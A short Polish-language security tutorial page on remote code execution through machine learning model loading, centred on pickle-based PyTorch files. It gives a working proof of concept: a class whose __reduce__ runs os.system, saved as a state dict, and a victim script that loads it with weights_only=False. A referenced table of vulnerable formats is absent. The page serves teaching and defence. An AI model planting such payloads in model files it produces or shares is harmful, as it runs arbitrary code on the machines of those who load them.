Modele RCE

Reading time: 4 minutes

Ładowanie modeli do RCE

Modele uczenia maszynowego są zazwyczaj udostępniane w różnych formatach, takich jak ONNX, TensorFlow, PyTorch itp. Modele te mogą być ładowane na maszyny deweloperów lub systemy produkcyjne w celu ich wykorzystania. Zazwyczaj modele nie powinny zawierać złośliwego kodu, ale są przypadki, w których model może być użyty do wykonania dowolnego kodu w systemie jako zamierzona funkcja lub z powodu luki w bibliotece ładującej model.

W momencie pisania, oto kilka przykładów tego typu luk:

Ponadto istnieją modele oparte na python pickle, takie jak te używane przez PyTorch, które mogą być użyte do wykonania dowolnego kodu w systemie, jeśli nie są ładowane z weights_only=True. Tak więc, każdy model oparty na pickle może być szczególnie podatny na tego typu ataki, nawet jeśli nie są wymienione w powyższej tabeli.

Przykład:

• Utwórz model:

# attacker_payload.py
import torch
import os

class MaliciousPayload:
def __reduce__(self):
# This code will be executed when unpickled (e.g., on model.load_state_dict)
return (os.system, ("echo 'You have been hacked!' > /tmp/pwned.txt",))

# Create a fake model state dict with malicious content
malicious_state = {"fc.weight": MaliciousPayload()}

# Save the malicious state dict
torch.save(malicious_state, "malicious_state.pth")

• Załaduj model:

# victim_load.py
import torch
import torch.nn as nn

class MyModel(nn.Module):
def __init__(self):
super().__init__()
self.fc = nn.Linear(10, 1)

model = MyModel()

# ⚠️ This will trigger code execution from pickle inside the .pth file
model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))

# /tmp/pwned.txt is created even if you get an error